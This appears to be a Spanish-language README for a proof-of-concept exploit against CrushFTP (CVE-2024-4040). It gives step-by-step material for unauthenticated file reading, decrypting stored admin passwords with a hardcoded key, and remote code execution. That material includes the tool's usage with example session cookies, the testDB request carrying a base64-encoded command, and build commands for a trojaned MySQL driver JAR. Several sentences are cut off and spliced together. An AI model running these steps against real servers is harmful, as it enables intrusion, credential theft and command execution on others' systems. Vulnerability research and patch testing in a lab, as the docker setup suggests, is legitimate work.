
Exploit de prueba de concepto para CVE-2024-4040 (CrushFTP) que proporciona lectura de archivos no autenticada, descifrado de credenciales y ejecución remota de código mediante carga de JAR malicioso y abuso de testDB.
docker run -p 21:21 -p 443:443 -p 2000-2100:2000-2100 -p 2222:2222 -p 8081:8080 -p 9090:9090 -v <volume>:/var/opt/CrushFTP10 markusmcnugen/crushftp
exploit.py y decrypt.java para obtener y descifrar la contraseña. En resumen, la clave está hardcodeada, por lo que se puede descifrar y también se puede leer cualquier archivo.crushadmin, no existe, puede intentar obtener CrushFTP.log, que contiene información de cuentas de referencia.
<INCLUDE>CrushFTP.log</INCLUDE>

usage: exploit.py [-h] -u URL [-H HEADERS] [--account ACCOUNT] [--shell] [--jar-path JAR_PATH]
CVE-2024-4040
options:
-h, --help show this help message and exit
-u URL, --url URL The target URL
-H HEADERS, --headers HEADERS
Headers
--account ACCOUNT The target account
--shell
--jar-path JAR_PATH Jar file path
user.XML.crushadmin.decrypt.java para descifrarla.--shell permite ver cómodamente los resultados después de RCE. Después de cargar el archivo jar de la siguiente manera, puede especificar --jar-path y --headers para ver el resultado del comando ejecutado.
--headers debe incluir la Cookie de inicio de sesión, por ejemplo: --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"--jar-path por defecto es /tmp/mysql_cmd_db_user_final_with_echo_base64.jar. Si está en una ubicación diferente, asegúrese de especificar la ruta. En teoría, las rutas relativas también funcionan, pero se recomienda usar rutas absolutas.exit.python3 exploit.py -u http://0.0.0.0:8081 --shell --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"

User Manager, luego haga clic en el usuario de la izquierda. Arrastre la carpeta que desea mapear a User's Stuff y finalmente ajuste los permisos. Asegúrese de marcar "upload".


testDB que permite especificar el archivo jar y el objeto driver, además de poder subir archivos. Combinando estos, se puede lograr RCE.command=testDB&db_driver_file=<path_to_evil_jar>&db_driver=org.gjt.mm.mysql.Driver&db_url=jdbc%253Amysql%253A%252F%252F127.0.0.1%253A3306%252Fcrushftp%253FautoReconnect%253Dtrue&db_user=<base64_encoded_command>&db_pass=&c2f=<currentAuth>
id.db_user para ejecutarlo.mkdir mysql-connector-java-5.0.4 && cd mysql-connector-java-5.0.4 && jar -xvf ../mysql-connector-java-5.0.4.jarcp ../NonRegisteringDriver.java com/mysql/jdbc/NonRegisteringDriver.javajavac -verbose -classpath . com/mysql/jdbc/NonRegisteringDriver.javajar cf ../mysql_cmd_db_user_final_with_echo_base64.jar *